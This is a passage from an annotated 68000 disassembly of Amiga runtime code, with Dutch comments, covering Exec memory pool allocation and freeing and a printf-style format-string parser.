MOVEQ #9,D0 ;0756: 7009
BRA.S LAB_005D ;0758: 6002
LAB_005C:
MOVEQ #27,D0 ;075A: 701B
LAB_005D:
ADDQ.L #1,A2 ;075C: 528A
BRA.S LAB_0060 ;075E: 6008
LAB_005E:
MOVEQ #42,D0 ;0760: 702A
BRA.S LAB_0060 ;0762: 6004
LAB_005F:
CMP.L D4,D0 ;0764: B084
BEQ.S LAB_0063 ;0766: 670C
LAB_0060:
MOVE.B D0,(A3) ;0768: 1680
LAB_0061:
ADDQ.L #1,A3 ;076A: 528B
LAB_0062:
MOVE.B (A2)+,D0 ;076C: 101A
DC.W $49C0 ;076E
TST.L D0 ;0770: 4A80
BNE.S LAB_0058 ;0772: 66B2
LAB_0063:
CLR.B (A3) ;0774: 4213
LAB_0064:
CMP.L #$00000080,D3 ;0776: B6BC00000080 d3=128?
BLT LAB_004F ;077C: 6D00FF5C
LAB_0065:
PEA -512(A7) ;0780: 486FFE00
MOVE.L D3,-(A7) ;0784: 2F03
BSR LAB_0003 ;0786: 6100F918
ADDQ #8,A7 ;078A: 504F
MOVEM.L (A7)+,D2-D6/A2-A3/A5-A6 ;078C: 4CDF6C7C
RTS ;0790: 4E75
LAB_0066:
MOVE.L A6,-(A7) ;0792: 2F0E
MOVEA.L LAB_0188,A1 ;0794: 2279000017B4
DC.W $4A49 ;079A
BEQ.S LAB_0067 ;079C: 6708
MOVEA.L (ABSEXECBASE).W,A6 ;079E: 2C780004
JSR -690(A6) ;07A2: 4EAEFD4E
LAB_0067:
CLR.L LAB_0188 ;07A6: 42B9000017B4
MOVEA.L (A7)+,A6 ;07AC: 2C5F
RTS ;07AE: 4E75
LAB_0068:
DC.W $3C75 ;07B0
DC.W $6E6B ;07B2
DC.W $6E6F ;07B4
DC.W $776E ;07B6
MOVE D0,D7 ;07B8: 3E00
DC.W $0000 ;07BA
LAB_0069:
MOVEM.L D2-D3/A2-A3/A5-A6,-(A7) ;07BC: 48E73036 save op stack...
MOVE.L 28(A7),D3 ;07C0: 262F001C 200 naar d3
MOVE.L #$00004000,D2 ;07C4: 243C00004000 16384 naar d2
ADDQ.L #4,D3 ;07CA: 5883 d3=204
MOVEA.L (ABSEXECBASE).W,A6 ;07CC: 2C780004 haal execbase op
LEA LAB_0189,A3 ;07D0: 47F9000017B8 haal stdin/out op?
LAB_006A:
TST.L (A3) ;07D6: 4A93 aanwezig?
BNE.S LAB_006B ;07D8: 661C nope..
MOVEQ #14,D0 ;07DA: 700E
MOVEQ #1,D1 ;07DC: 7201
SWAP D1 ;07DE: 4841
JSR -684(A6) ;07E0: 4EAEFD54 AllocVec() (memory alloc)
MOVEA.L D0,A1 ;07E4: 2240 adres van memoryblock naar a1
MOVE.L D0,(A3) ;07E6: 2680 adres hardcopied op adres in a3
BEQ.S LAB_006F ;07E8: 6750 bij error maar LAB_006f
LEA 4(A1),A0 ;07EA: 41E90004 1 long na memoryblock (skip 4 bytes)
MOVE.L A0,(A1) ;07EE: 2288 copy terug...
CLR.L (A0) ;07F0: 4290 maak plaats op a0 leeg
MOVE.L D0,8(A1) ;07F2: 23400008 copieer memoryblock adres naar 8 bytes achter memoryblock
LAB_006B:
CMP.L #$00004000,D3 ;07F6: B6BC00004000
BLS.S LAB_006C ;07FC: 6304 lager of gelijk aan 16384
MOVE.L D3,D2 ;07FE: 2403
BRA.S LAB_006E ;0800: 6018
LAB_006C:
MOVEA.L (A3),A0 ;0802: 2053
MOVEA.L (A0),A2 ;0804: 2450
TST.L (A2) ;0806: 4A92
BEQ.S LAB_006E ;0808: 6710
LAB_006D:
MOVEA.L A2,A0 ;080A: 204A
MOVE.L D3,D0 ;080C: 2003
JSR -186(A6) ;080E: 4EAEFF46
BNE.S LAB_0071 ;0812: 666A
MOVEA.L (A2),A2 ;0814: 2452
TST.L (A2) ;0816: 4A92
BNE.S LAB_006D ;0818: 66F0
LAB_006E:
MOVEQ #32,D0 ;081A: 7020
MOVEQ #1,D1 ;081C: 7201
SWAP D1 ;081E: 4841
JSR -684(A6) ;0820: 4EAEFD54 memory alloc
BEQ.S LAB_006F ;0824: 6714 error
MOVEA.L D0,A2 ;0826: 2440
ADDQ.L #8,D2 ;0828: 5082 16348+8
MOVE.L D2,D0 ;082A: 2002 naar d0
MOVEQ #0,D1 ;082C: 7200 type mem waarschijnlijk
JSR -198(A6) ;082E: 4EAEFF3A memory alloc (AllocMem)
BNE.S LAB_0070 ;0832: 6614 error?
MOVEA.L A2,A1 ;0834: 224A mem blok naar a1
JSR -690(A6) ;0836: 4EAEFD4E freevec
LAB_006F:
MOVEA.L LAB_018A,A0 ;083A: 2079000017BC
DC.W $4A88 ;0840
BEQ.S LAB_0074 ;0842: 6752
JSR (A0) ;0844: 4E90
BRA.S LAB_006A ;0846: 608E
LAB_0070:
MOVEA.L D0,A0 ;0848: 2040
MOVEQ #10,D1 ;084A: 720A
MOVE.B D1,8(A2) ;084C: 15410008
MOVEA.L A0,A5 ;0850: 2A48
MOVE.L D0,16(A2) ;0852: 25400010
ADDA.L D2,A5 ;0856: DBC2
MOVE.L D0,20(A2) ;0858: 25400014
MOVE.L A5,24(A2) ;085C: 254D0018
MOVE.L D2,28(A2) ;0860: 2542001C
CLR.L (A0)+ ;0864: 4298
MOVE.L D2,(A0) ;0866: 2082
MOVEA.L LAB_0189,A0 ;0868: 2079000017B8
MOVEA.L A2,A1 ;086E: 224A
JSR -240(A6) ;0870: 4EAEFF10 AddHead (node adden)
MOVEA.L A2,A0 ;0874: 204A
MOVE.L D3,D0 ;0876: 2003
JSR -186(A6) ;0878: 4EAEFF46 Allocate() (memory pool allocation)
BEQ.S LAB_006F ;087C: 67BC
LAB_0071:
MOVEA.L D0,A0 ;087E: 2040
MOVE.L D3,(A0)+ ;0880: 20C3
MOVEA.L A0,A1 ;0882: 2248
MOVE.L D3,D0 ;0884: 2003
SUBQ.L #4,D0 ;0886: 5980 d0=200
LSR.L #2,D0 ;0888: E488 d0=50
BEQ.S LAB_0073 ;088A: 6706
LAB_0072:
CLR.L (A1)+ ;088C: 4299 node legen? (50bytes)
SUBQ.L #1,D0 ;088E: 5380 d0=49
BNE.S LAB_0072 ;0890: 66FA (50x)
LAB_0073:
MOVE.L A0,D0 ;0892: 2008
BRA.S LAB_0075 ;0894: 6002
LAB_0074:
MOVEQ #0,D0 ;0896: 7000
LAB_0075:
MOVEM.L (A7)+,D2-D3/A2-A3/A5-A6 ;0898: 4CDF6C0C
RTS ;089C: 4E75
LAB_0076:
MOVEM.L D2/A2-A3/A5-A6,-(A7) ;089E: 48E72036
MOVEA.L 24(A7),A1 ;08A2: 226F0018
MOVEA.L (ABSEXECBASE).W,A6 ;08A6: 2C780004
MOVEA.L LAB_0189,A2 ;08AA: 2479000017B8
MOVEA.L (A2),A3 ;08B0: 2652
BRA.S LAB_0078 ;08B2: 6002
LAB_0077:
MOVEA.L (A3),A3 ;08B4: 2653
LAB_0078:
MOVEA.L (A3),A0 ;08B6: 2053
TST (A0) ;08B8: 4A50
BEQ.S LAB_0079 ;08BA: 6748
LEA 20(A3),A5 ;08BC: 4BEB0014
CMPA.L (A5),A1 ;08C0: B3D5
BCS.S LAB_0077 ;08C2: 65F0
CMPA.L 24(A3),A1 ;08C4: B3EB0018
BCC.S LAB_0077 ;08C8: 64EA
MOVE.L -(A1),D0 ;08CA: 2021
MOVEA.L A3,A0 ;08CC: 204B
JSR _LVODeallocate(A6) ;08CE: 4EAEFF40
MOVE.L 24(A3),D2 ;08D2: 242B0018
SUB.L (A5),D2 ;08D6: 9495
MOVE.L 28(A3),D0 ;08D8: 202B001C
CMP.L D2,D0 ;08DC: B082
BNE.S LAB_0079 ;08DE: 6624
MOVEA.L A3,A1 ;08E0: 224B
JSR _LVORemove(A6) ;08E2: 4EAEFF04
MOVE.L D2,D0 ;08E6: 2002
MOVEA.L (A5),A1 ;08E8: 2255
JSR _LVOFreeMem(A6) ;08EA: 4EAEFF2E
MOVEA.L A3,A1 ;08EE: 224B
JSR _LVOFreeVec(A6) ;08F0: 4EAEFD4E
MOVEA.L 8(A2),A0 ;08F4: 206A0008
CMPA.L A2,A0 ;08F8: B1CA
BNE.S LAB_0079 ;08FA: 6608
MOVEA.L A2,A1 ;08FC: 224A
JSR _LVOFreeVec(A6) ;08FE: 4EAEFD4E
CLR.L (A2) ;0902: 4292
LAB_0079:
MOVEM.L (A7)+,D2/A2-A3/A5-A6 ;0904: 4CDF6C04
RTS ;0908: 4E75
LAB_007A:
MOVEM.L D2/A2/A6,-(A7) ;090A: 48E72022
MOVEA.L (ABSEXECBASE).W,A6 ;090E: 2C780004
MOVE.L LAB_0189,D2 ;0912: 2439000017B8
BNE.S LAB_007C ;0918: 6618
BRA.S LAB_007D ;091A: 6024
LAB_007B:
MOVEA.L D0,A2 ;091C: 2440
MOVEA.L 20(A2),A1 ;091E: 226A0014
MOVE.L 24(A2),D0 ;0922: 202A0018
SUB.L A1,D0 ;0926: 9089
JSR -210(A6) ;0928: 4EAEFF2E
MOVEA.L A2,A1 ;092C: 224A
JSR -690(A6) ;092E: 4EAEFD4E
LAB_007C:
MOVEA.L D2,A0 ;0932: 2042
JSR _LVORemHeadA6) ;0934: 4EAEFEFE
BNE.S LAB_007B ;0938: 66E2
MOVEA.L D2,A1 ;093A: 2242
JSR _LVOFreeVec(A6) ;093C: 4EAEFD4E
LAB_007D:
MOVEM.L (A7)+,D2/A2/A6 ;0940: 4CDF4404
RTS ;0944: 4E75
DC.W $0000 ;0946
LAB_007E:
PEA 8(A7) ;0948: 486F0008
MOVE.L 8(A7),-(A7) ;094C: 2F2F0008
PEA LAB_018B ;0950: 4879000017C0
BSR LAB_007F ;0956: 61000008
LEA 12(A7),A7 ;095A: 4FEF000C
RTS ;095E: 4E75
LAB_007F:
LINK A5,#-366 ;0960: 4E55FE92
MOVEM.L D2-D7/A2-A4/A6,-(A7) ;0964: 48E73F3A
MOVEA.L 12(A5),A2 ;0968: 246D000C
CLR.L -50(A5) ;096C: 42ADFFCE
BRA LAB_0113 ;0970: 6000075A
LAB_0080:
MOVEA.L 16(A5),A6 ;0974: 2C6D0010
MOVE.B (A2),D0 ;0978: 1012
CMP.B #$25,D0 ;097A: B03C0025
BNE LAB_0112 ;097E: 66000748
CLR.L -8(A5) ;0982: 42ADFFF8
MOVEQ #-1,D7 ;0986: 7EFF
MOVE.L D7,(A4) ;0988: 2887
MOVEQ #0,D7 ;098A: 7E00
LEA 1(A2),A3 ;098C: 47EA0001
MOVE.L A2,12(A5) ;0990: 2B4A000C
LEA -34(A5),A0 ;0994: 41EDFFDE
MOVEA.L A0,A2 ;0998: 2448
LAB_0081:
MOVEQ #0,D2 ;099A: 7400
BRA.S LAB_0084 ;099C: 601A
LAB_0082:
LEA LAB_0181,A1 ;099E: 43F90000177C
MOVE.B 0(A1,D2.L),D1 ;09A4: 12312800
CMP.B (A3),D1 ;09A8: B213
BNE.S LAB_0083 ;09AA: 660A
MOVEQ #1,D0 ;09AC: 7001
ASL.L D2,D0 ;09AE: E5A0
OR.L D0,D7 ;09B0: 8E80
ADDQ.L #1,A3 ;09B2: 528B
BRA.S LAB_0085 ;09B4: 6008
LAB_0083:
ADDQ.L #1,D2 ;09B6: 5282
LAB_0084:
MOVEQ #5,D0 ;09B8: 7005
CMP.L D0,D2 ;09BA: B480
BCS.S LAB_0082 ;09BC: 65E0
LAB_0085:
SUBQ.L #5,D2 ;09BE: 5B82
BCS.S LAB_0081 ;09C0: 65D8
MOVEQ #10,D2 ;09C2: 740A
MOVEQ #48,D3 ;09C4: 7630
MOVE.B (A3),D0 ;09C6: 1013
CMP.B #$2A,D0 ;09C8: B03C002A
BNE.S LAB_0088 ;09CC: 6626
ADDQ.L #1,A3 ;09CE: 528B
MOVE.L (A6)+,D0 ;09D0: 201E
BPL.S LAB_0086 ;09D2: 6A06
MOVEQ #4,D1 ;09D4: 7204
OR.L D1,D7 ;09D6: 8E81
NEG.L D0 ;09D8: 4480
LAB_0086:
MOVE.L D0,-8(A5) ;09DA: 2B40FFF8
BRA.S LAB_0089 ;09DE: 6022
LAB_0087:
MOVE.L -8(A5),D5 ;09E0: 2A2DFFF8
DC.W $4C02 ;09E4
ADDQ.B #8,D5 ;09E6: 5005
MOVE.B (A3)+,D0 ;09E8: 101B
DC.W $49C0 ;09EA
SUB.L D3,D0 ;09EC: 9083
ADD.L D0,D5 ;09EE: DA80
MOVE.L D5,-8(A5) ;09F0: 2B45FFF8
LAB_0088:
MOVE.B (A3),D0 ;09F4: 1013
CMP.B #$30,D0 ;09F6: B03C0030
BLT.S LAB_0089 ;09FA: 6D06
CMP.B #$39,D0 ;09FC: B03C0039
BLE.S LAB_0087 ;0A00: 6FDE
LAB_0089:
MOVE.B (A3),D0 ;0A02: 1013
CMP.B #$2E,D0 ;0A04: B03C002E
BNE.S LAB_008D ;0A08: 6634
MOVE.B (A3)+,D0 ;0A0A: 101B
CMP.B #$2A,D0 ;0A0C: B03C002A
BNE.S LAB_008A ;0A10: 660A
ADDQ.L #1,A3 ;0A12: 528B
MOVE.L (A6)+,D0 ;0A14: 201E
BMI.S LAB_008D ;0A16: 6B26
MOVE.L D0,(A4) ;0A18: 2880
BRA.S LAB_008D ;0A1A: 6022
LAB_008A:
CLR.L (A4) ;0A1C: 4294
BRA.S LAB_008C ;0A1E: 6010
LAB_008B:
MOVE.L (A4),D5 ;0A20: 2A14
DC.W $4C02 ;0A22
ADDQ.B #8,D5 ;0A24: 5005
MOVE.B (A3)+,D0 ;0A26: 101B
DC.W $49C0 ;0A28
SUB.L D3,D0 ;0A2A: 9083
ADD.L D0,D5 ;0A2C: DA80
MOVE.L D5,(A4) ;0A2E: 2885
LAB_008C:
MOVE.B (A3),D0 ;0A30: 1013
CMP.B #$30,D0 ;0A32: B03C0030
BLT.S LAB_008D ;0A36: 6D06
CMP.B #$39,D0 ;0A38: B03C0039
BLE.S LAB_008B ;0A3C: 6FE2
LAB_008D:
LEA LAB_0182,A0 ;0A3E: 41F900001784
MOVEQ #0,D3 ;0A44: 7600
CLR.L -42(A5) ;0A46: 42ADFFD6
MOVE.B (A3),D0 ;0A4A: 1013
CMP.B #$68,D0 ;0A4C: B03C0068
BEQ.S LAB_008E ;0A50: 670E
CMP.B #$6C,D0 ;0A52: B03C006C
BEQ.S LAB_008E ;0A56: 6708
CMP.B #$4C,D0 ;0A58: B03C004C
BNE.S LAB_008F ;0A5C: 6604
MOVEQ #1,D3 ;0A5E: 7601
LAB_008E:
ADDQ.L #1,A3 ;0A60: 528B
LAB_008F:
MOVE.B (A3)+,D0 ;0A62: 101B
MOVE.B D0,-63(A5) ;0A64: 1B40FFC1
CMP.B #$64,D0 ;0A68: B03C0064
BEQ.S LAB_0090 ;0A6C: 6706
CMP.B #$69,D0 ;0A6E: B03C0069
BNE.S LAB_0096 ;0A72: 6636
LAB_0090:
MOVEQ #10,D5 ;0A74: 7A0A
TST.L D3 ;0A76: 4A83
BEQ.S LAB_0092 ;0A78: 6712
MOVE.L (A6)+,D6 ;0A7A: 2C1E
MOVE.L (A6)+,D2 ;0A7C: 241E
TST.L D6 ;0A7E: 4A86
BNE.S LAB_0091 ;0A80: 6602
TST.L D2 ;0A82: 4A82
LAB_0091:
BGE.S LAB_0094 ;0A84: 6C10
NEG.L D2 ;0A86: 4482
NEGX.L D6 ;0A88: 4086
BRA.S LAB_0093 ;0A8A: 6006
LAB_0092:
MOVE.L (A6)+,D2 ;0A8C: 241E
BPL.S LAB_0094 ;0A8E: 6A06
NEG.L D2 ;0A90: 4482
LAB_0093:
MOVEQ #45,D1 ;0A92: 722D
BRA.S LAB_009D ;0A94: 6072
LAB_0094:
BTST #4,D7 ;0A96: 08070004
BEQ.S LAB_0095 ;0A9A: 6704
MOVEQ #43,D1 ;0A9C: 722B
BRA.S LAB_009D ;0A9E: 6068
LAB_0095:
BTST #3,D7 ;0AA0: 08070003
BEQ.S LAB_009E ;0AA4: 676E
MOVEQ #32,D1 ;0AA6: 7220
BRA.S LAB_009D ;0AA8: 605E
LAB_0096:
CMP.B #$70,D0 ;0AAA: B03C0070
BNE.S LAB_0097 ;0AAE: 6608
MOVE.B #$78,-63(A5) ;0AB0: 1B7C0078FFC1
BRA.S LAB_0099 ;0AB6: 6014
LAB_0097:
CMP.B #$58,D0 ;0AB8: B03C0058
BNE.S LAB_0098 ;0ABC: 6608
LEA LAB_0183,A0 ;0ABE: 41F900001794
BRA.S LAB_0099 ;0AC4: 6006
LAB_0098:
CMP.B #$78,D0 ;0AC6: B03C0078
BNE.S LAB_009B ;0ACA: 6624
LAB_0099:
MOVEQ #16,D5 ;0ACC: 7A10
TST.L D3 ;0ACE: 4A83
BEQ.S LAB_009A ;0AD0: 6702
MOVE.L (A6)+,D6 ;0AD2: 2C1E
LAB_009A:
MOVE.L (A6)+,D2 ;0AD4: 241E
BTST #0,D7 ;0AD6: 08070000
BEQ.S LAB_00A1 ;0ADA: 674A
MOVE.L -42(A5),D0 ;0ADC: 202DFFD6
ADDQ.L #1,-42(A5) ;0AE0: 52ADFFD6
MOVE.B #$30,-18(A5,D0.L) ;0AE4: 1BBC003008EE
MOVE.B -63(A5),D1 ;0AEA: 122DFFC1
BRA.S LAB_009D ;0AEE: 6018
LAB_009B:
CMP.B #$6F,D0 ;0AF0: B03C006F
BNE.S LAB_009F ;0AF4: 6620
MOVEQ #8,D5 ;0AF6: 7A08
TST.L D3 ;0AF8: 4A83
BEQ.S LAB_009C ;0AFA: 6702
MOVE.L (A6)+,D6 ;0AFC: 2C1E
LAB_009C:
MOVE.L (A6)+,D2 ;0AFE: 241E
BTST #0,D7 ;0B00: 08070000
BEQ.S LAB_00A1 ;0B04: 6720
MOVEQ #48,D1 ;0B06: 7230
LAB_009D:
MOVE.L -42(A5),D0 ;0B08: 202DFFD6
ADDQ.L #1,-42(A5) ;0B0C: 52ADFFD6
MOVE.B D1,-18(A5,D0.L) ;0B10: 1B8108EE
LAB_009E:
BRA.S LAB_00A1 ;0B14: 6010
LAB_009F:
CMP.B #$75,D0 ;0B16: B03C0075
BNE.S LAB_00A5 ;0B1A: 6654
TST.L D3 ;0B1C: 4A83
BEQ.S LAB_00A0 ;0B1E: 6702
MOVE.L (A6)+,D6 ;0B20: 2C1E
LAB_00A0:
MOVE.L (A6)+,D2 ;0B22: 241E
MOVEQ #10,D5 ;0B24: 7A0A
LAB_00A1:
MOVE.L A6,16(A5) ;0B26: 2B4E0010
LEA -34(A5),A2 ;0B2A: 45EDFFDE
MOVEQ #16,D0 ;0B2E: 7010
ADDA.L D0,A2 ;0B30: D5C0
CLR.L -46(A5) ;0B32: 42ADFFD2
TST.L D3 ;0B36: 4A83
BEQ.S LAB_00A3 ;0B38: 6718
MOVE.L D6,D0 ;0B3A: 2006
LAB_00A2:
MOVE.L D5,D3 ;0B3C: 2605
BSR LAB_003C ;0B3E: 6100FA68
MOVE.L D0,D1 ;0B42: 2200
MOVE.B 0(A0,D3.L),-(A2) ;0B44: 15303800
ADDQ.L #1,-46(A5) ;0B48: 52ADFFD2
OR.L D2,D1 ;0B4C: 8282
BNE.S LAB_00A2 ;0B4E: 66EC
BRA.S LAB_00A4 ;0B50: 6010
LAB_00A3:
DC.W $4C45 ;0B52
MOVE.L D1,D0 ;0B54: 2001
MOVE.B 0(A0,D1.L),-(A2) ;0B56: 15301800
ADDQ.L #1,-46(A5) ;0B5A: 52ADFFD2
TST.L D2 ;0B5E: 4A82
BNE.S LAB_00A3 ;0B60: 66F0
LAB_00A4:
MOVE.L (A4),D0 ;0B62: 2014
ADDQ.L #1,D0 ;0B64: 5280
BEQ.S LAB_00A8 ;0B66: 673E
AND #$FFFD,D7 ;0B68: CE7CFFFD
BRA LAB_00F9 ;0B6C: 60000498
LAB_00A5:
CMP.B #$63,D0 ;0B70: B03C0063
BNE.S LAB_00A6 ;0B74: 660E
MOVE.B 3(A6),(A2) ;0B76: 14AE0003
ADDQ.L #4,A6 ;0B7A: 588E
MOVE.L A6,16(A5) ;0B7C: 2B4E0010
BRA LAB_00F3 ;0B80: 60000450
LAB_00A6:
CMP.B #$73,D0 ;0B84: B03C0073
BNE.S LAB_00A9 ;0B88: 6620
MOVEA.L (A6)+,A0 ;0B8A: 205E
MOVE.L A6,16(A5) ;0B8C: 2B4E0010
MOVEA.L A0,A2 ;0B90: 2448
MOVEQ #-1,D0 ;0B92: 70FF
LAB_00A7:
ADDQ.L #1,D0 ;0B94: 5280
TST.B (A0)+ ;0B96: 4A18
BNE.S LAB_00A7 ;0B98: 66FA
MOVE.L D0,-46(A5) ;0B9A: 2B40FFD2
CMP.L (A4),D0 ;0B9E: B094
BLS.S LAB_00A8 ;0BA0: 6304
MOVE.L (A4),-46(A5) ;0BA2: 2B54FFD2
LAB_00A8:
BRA LAB_00F8 ;0BA6: 6000045C
LAB_00A9:
CMP.B #$65,D0 ;0BAA: B03C0065
BLT.S LAB_00AA ;0BAE: 6D06
CMP.B #$67,D0 ;0BB0: B03C0067
BLE.S LAB_00AB ;0BB4: 6F0E
LAB_00AA:
CMP.B #$45,D0 ;0BB6: B03C0045
BEQ.S LAB_00AB ;0BBA: 6708
CMP.B #$47,D0 ;0BBC: B03C0047
BNE LAB_00F2 ;0BC0: 66000406
LAB_00AB:
CLR.B -97(A5) ;0BC4: 422DFF9F
CLR.B -98(A5) ;0BC8: 422DFF9E
CLR.L -46(A5) ;0BCC: 42ADFFD2
MOVE.L A3,-354(A5) ;0BD0: 2B4BFE9E
MOVE.L (A6)+,-96(A5) ;0BD4: 2B5EFFA0
MOVE.L (A6)+,-92(A5) ;0BD8: 2B5EFFA4
MOVE.L A6,16(A5) ;0BDC: 2B4E0010
LEA -96(A5),A2 ;0BE0: 45EDFFA0
LEA -92(A5),A3 ;0BE4: 47EDFFA4
MOVEA.L mathbasstore,A6 ;0BE8: 2C79000017AC
MOVE.L (A2),D0 ;0BEE: 2012
BCLR #31,D0 ;0BF0: 0880001F
MOVE.L #$7FF00000,D4 ;0BF4: 283C7FF00000
CMP.L A2,D0 ;0BFA: B08A
BNE.S LAB_00AF ;0BFC: 6626
TST.L 4(A2) ;0BFE: 4AAA0004
BNE.S LAB_00AF ;0C02: 6620
MOVE.L (A2),D0 ;0C04: 2012
MOVE.L (A3),D1 ;0C06: 2213
JSR -48(A6) ;0C08: 4EAEFFD0
BLE.S LAB_00AC ;0C0C: 6F06
LEA LAB_0116(PC),A2 ;0C0E: 45FA04D0
BRA.S LAB_00AD ;0C12: 6004
LAB_00AC:
LEA LAB_0117+1(PC),A2 ;0C14: 45FA04CF
LAB_00AD:
MOVEQ #4,D0 ;0C18: 7004
LAB_00AE:
MOVE.L D0,-46(A5) ;0C1A: 2B40FFD2
MOVEA.L -354(A5),A3 ;0C1E: 266DFE9E
BRA.S LAB_00A8 ;0C22: 6082
LAB_00AF:
MOVE.L (A2),D0 ;0C24: 2012
AND.L D4,D0 ;0C26: C084
CMP.L D4,D0 ;0C28: B084
BNE.S LAB_00B1 ;0C2A: 6614
DC.W $E8D2 ;0C2C
BTST D1,(A4) ;0C2E: 0314
BNE.S LAB_00B0 ;0C30: 6606
TST.L 4(A2) ;0C32: 4AAA0004
BEQ.S LAB_00B1 ;0C36: 6708
LAB_00B0:
LEA LAB_0118(PC),A2 ;0C38: 45FA04B0
MOVEQ #3,D0 ;0C3C: 7003
BRA.S LAB_00AE ;0C3E: 60DA
LAB_00B1:
MOVE.L (A4),D0 ;0C40: 2014
ADDQ.L #1,D0 ;0C42: 5280
BNE.S LAB_00B2 ;0C44: 6604
MOVEQ #6,D0 ;0C46: 7006
MOVE.L D0,(A4) ;0C48: 2880
LAB_00B2:
MOVEA.L LAB_0187,A1 ;0C4A: 2279000017B0
MOVE.L #$40240000,D4 ;0C50: 283C40240000
MOVE.L (A2),D0 ;0C56: 2012
MOVE.L (A3),D1 ;0C58: 2213
JSR -48(A6) ;0C5A: 4EAEFFD0
BGE.S LAB_00B3 ;0C5E: 6C10
MOVE.B #$2D,-98(A5) ;0C60: 1B7C002DFF9E
MOVE.L (A2),D0 ;0C66: 2012
JSR -60(A6) ;0C68: 4EAEFFC4
MOVE.L D0,(A2) ;0C6C: 2480
BRA.S LAB_00B7 ;0C6E: 6018
LAB_00B3:
BTST #4,D7 ;0C70: 08070004
BEQ.S LAB_00B4 ;0C74: 6704
MOVEQ #43,D0 ;0C76: 702B
BRA.S LAB_00B5 ;0C78: 6008
LAB_00B4:
BTST #3,D7 ;0C7A: 08070003
BEQ.S LAB_00B6 ;0C7E: 6706
MOVEQ #32,D0 ;0C80: 7020
LAB_00B5:
MOVE.B D0,-98(A5) ;0C82: 1B40FF9E
LAB_00B6:
MOVE.L (A2),D0 ;0C86: 2012
LAB_00B7:
MOVEQ #0,D6 ;0C88: 7C00
JSR -48(A6) ;0C8A: 4EAEFFD0
BEQ.S LAB_00BB ;0C8E: 6772
MOVE.L (A2),D0 ;0C90: 2012
JSR -126(A1) ;0C92: 4EA9FF82
JSR -30(A6) ;0C96: 4EAEFFE2
MOVE.L D0,D6 ;0C9A: 2C00
MOVE.L (A2),D0 ;0C9C: 2012
MOVE.L (A3),D1 ;0C9E: 2213
MOVE.L #$3FF00000,D2 ;0CA0: 243C3FF00000
MOVEQ #0,D3 ;0CA6: 7600
JSR -42(A6) ;0CA8: 4EAEFFD6
BGE.S LAB_00B9 ;0CAC: 6C28
SUBQ.L #1,D6 ;0CAE: 5386
MOVE.L D6,D0 ;0CB0: 2006
NEG.L D0 ;0CB2: 4480
BSR.S LAB_00B8 ;0CB4: 610A
MOVE.L (A2),D0 ;0CB6: 2012
MOVE.L (A3),D1 ;0CB8: 2213
JSR -78(A6) ;0CBA: 4EAEFFB2
BRA.S LAB_00BA ;0CBE: 6022
LAB_00B8:
JSR -36(A6) ;0CC0: 4EAEFFDC
MOVE.L D0,D2 ;0CC4: 2400
MOVE.L D1,D3 ;0CC6: 2601
MOVE.L D4,D0 ;0CC8: 2004
MOVEQ #0,D1 ;0CCA: 7200
JSR -90(A1) ;0CCC: 4EA9FFA6
MOVE.L D0,D2 ;0CD0: 2400
MOVE.L D1,D3 ;0CD2: 2601
RTS ;0CD4: 4E75
LAB_00B9:
MOVE.L D6,D0 ;0CD6: 2006
BSR.S LAB_00B8 ;0CD8: 61E6
MOVE.L (A2),D0 ;0CDA: 2012
MOVE.L (A3),D1 ;0CDC: 2213
JSR -84(A6) ;0CDE: 4EAEFFAC
LAB_00BA:
MOVE.L D0,(A2) ;0CE2: 2480
MOVE.L D1,(A3) ;0CE4: 2681
MOVE.L #$3FF00000,D2 ;0CE6: 243C3FF00000
MOVEQ #0,D3 ;0CEC: 7600
JSR -42(A6) ;0CEE: 4EAEFFD6
BGE.S LAB_00BB ;0CF2: 6C0E
MOVE.L (A2),D0 ;0CF4: 2012
MOVE.L D4,D2 ;0CF6: 2404
JSR -78(A6) ;0CF8: 4EAEFFB2
MOVE.L D0,(A2) ;0CFC: 2480
MOVE.L D1,(A3) ;0CFE: 2681
SUBQ.L #1,D6 ;0D00: 5386
LAB_00BB:
MOVE.L (A4),D0 ;0D02: 2014
MOVE.B -63(A5),D1 ;0D04: 122DFFC1
CMP.B #$66,D1 ;0D08: B23C0066
BNE.S LAB_00BC ;0D0C: 6602
ADD.L D6,D0 ;0D0E: D086
LAB_00BC:
CMP.B #$67,D1 ;0D10: B23C0067
BEQ.S LAB_00BD ;0D14: 6706
CMP.B #$47,D1 ;0D16: B23C0047
BNE.S LAB_00BE ;0D1A: 6602
LAB_00BD:
SUBQ.L #1,D0 ;0D1C: 5380
LAB_00BE:
MOVEQ #16,D2 ;0D1E: 7410
CMP.L D2,D0 ;0D20: B082
BLT.S LAB_00BF ;0D22: 6D02
MOVEQ #16,D0 ;0D24: 7010
LAB_00BF:
BSR.S LAB_00B8 ;0D26: 6198
MOVE.L #$3FE00000,D0 ;0D28: 203C3FE00000
MOVEQ #0,D1 ;0D2E: 7200
JSR -84(A6) ;0D30: 4EAEFFAC
MOVE.L D0,D2 ;0D34: 2400
MOVE.L D1,D3 ;0D36: 2601
MOVE.L (A2),D0 ;0D38: 2012
MOVE.L (A3),D1 ;0D3A: 2213
JSR -66(A6) ;0D3C: 4EAEFFBE
MOVE.L D0,(A2) ;0D40: 2480
MOVE.L D1,(A3) ;0D42: 2681
MOVE.L D4,D2 ;0D44: 2404
MOVEQ #0,D3 ;0D46: 7600
JSR -42(A6) ;0D48: 4EAEFFD6
BLT.S LAB_00C0 ;0D4C: 6D0C
MOVE.L (A2),D0 ;0D4E: 2012
JSR -84(A6) ;0D50: 4EAEFFAC
MOVE.L D0,(A2) ;0D54: 2480
MOVE.L D1,(A3) ;0D56: 2681
ADDQ.L #1,D6 ;0D58: 5286
LAB_00C0:
MOVE.B -63(A5),D0 ;0D5A: 102DFFC1
CMP.B #$67,D0 ;0D5E: B03C0067
BEQ.S LAB_00C1 ;0D62: 6706
CMP.B #$47,D0 ;0D64: B03C0047
BNE.S LAB_00C5 ;0D68: 6632
LAB_00C1:
MOVE.L D6,D0 ;0D6A: 2006
CMP.L (A4),D0 ;0D6C: B094
BGE.S LAB_00C2 ;0D6E: 6C0A
ADDQ.L #4,D0 ;0D70: 5880
BLT.S LAB_00C2 ;0D72: 6D06
SUB.L D6,(A4) ;0D74: 9D94
MOVEQ #102,D0 ;0D76: 7066
BRA.S LAB_00C4 ;0D78: 6010
LAB_00C2:
MOVE.B -63(A5),D0 ;0D7A: 102DFFC1
CMP.B #$67,D0 ;0D7E: B03C0067
BNE.S LAB_00C3 ;0D82: 6604
MOVEQ #101,D0 ;0D84: 7065
BRA.S LAB_00C4 ;0D86: 6002
LAB_00C3:
MOVEQ #69,D0 ;0D88: 7045
LAB_00C4:
